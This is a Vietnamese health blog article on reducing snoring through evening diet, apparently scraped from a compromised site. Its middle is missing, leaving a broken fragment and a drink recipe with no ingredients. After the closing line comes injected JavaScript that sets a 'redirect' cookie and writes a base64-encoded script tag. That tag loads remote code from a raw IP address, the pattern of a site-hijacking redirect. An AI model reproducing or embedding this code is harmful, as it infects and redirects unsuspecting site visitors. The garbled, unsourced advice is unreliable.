“Đập tan” cơn “ngáy như sấm” khủng khiếp gây ám ảnh chỉ bằng cách hết sức đơn giản này

Sau một ngày làm việc dài và mệt mỏi, chắc hẳn ai cũng muốn có được một giấc ngủ ngon bên người bạn đời của mình. Thế nhưng, thật khó chịu khi phải nghe tiếng ngáy của “đối tác” suốt đêm. Vậy có phương pháp nào cho tình trạng ngáy này không?

Ngáy ngủ là căn bệnh gây khó chịu và mất ngủ cho người bạn đời.

Bạn có thể làm giảm mức độ ồn ào của tiếng ngáy bằng một chế độ ăn uống hợp lí. Tránh những loại thực phẩm nhất định để giảm chất nhầy ở hệ hô hấp, khiến không khí đi qua dễ dàng hơn. Từ đó, tình trạng ngủ ngáy cũng thuyên giảm hơn.

Người mắc bệnh ngủ ngáy nên tránh dùng các loại thực phẩm sau đây vào buổi tối:

– Các sản phẩm được làm từ sữa.

– Các sản phẩm có thành phần là bột và đường.

– Chocolate

– Các loại thực phẩm chiên, xào nhiều dầu mỡ.



o bản thân và gia đình rồi.

Sau khi ép lấy được hỗn hợp, nên uống trước khi đi ngủ ít nhất 1 tiếng đồng hồ để phát huy hiệu quả tối đa nhất. Đây cũng sẽ là thức uống cung cấp năng lượng cho cơ thể của bạn vào sáng hôm sau.

Hãy thực hiện và ngủ ngon cho mình và những người xung quanh nhé. #(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

Leave a Reply

Your email address will not be published. Required fields are marked *

This carousel is empty, please add some logos.